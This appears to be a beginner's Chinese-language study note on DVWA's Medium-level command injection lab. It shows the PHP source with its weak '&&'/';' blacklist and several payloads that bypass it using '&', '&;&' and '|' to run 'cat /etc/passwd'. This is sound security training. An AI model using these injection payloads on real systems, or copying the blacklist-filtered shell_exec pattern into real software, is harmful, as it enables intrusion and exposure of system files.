天天看点

3.Command Injection——Medium级别测试——小白笔记——DVWA0x01:Medium测试

0x01:Medium测试

1.上源码:

Command Injection Source:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

如上所示,发现:
1.   &&被替换为空			//注意:一个&没被过滤
2.   ;被替换为空				//注意:可以构造成&;&  或者&;&
(使用中英文分号绕过,结果回显顺序不一样)

           

2.攻击演示:

1.非正常输入:127.0.0.1&&cat /etc/passwd					 //发现不回显,两个命令都不执行了
           
2.非正常输入:127.0.0.1&cat /etc/passwd					//回显成功,但是先显示cat命令后显示ping命令,两个命令都执行了(先显示注入,后显示ping)
           
3.非正常输入:127.0.0.1&;&cat /etc/passwd				//回显成功,同上一条命令一样回显(先显示注入,后显示ping)(中文分号)
           
4.非正常输入:127.0.0.1&;&cat /etc/passwd				//回显成功,但是先ping后cat(先显示ping,后显示注入)(英文分号)
           
5.非正常输入:127.0.0.1|cat /etc/passwd		//没有过滤管道符|(只回显注入的相应结果)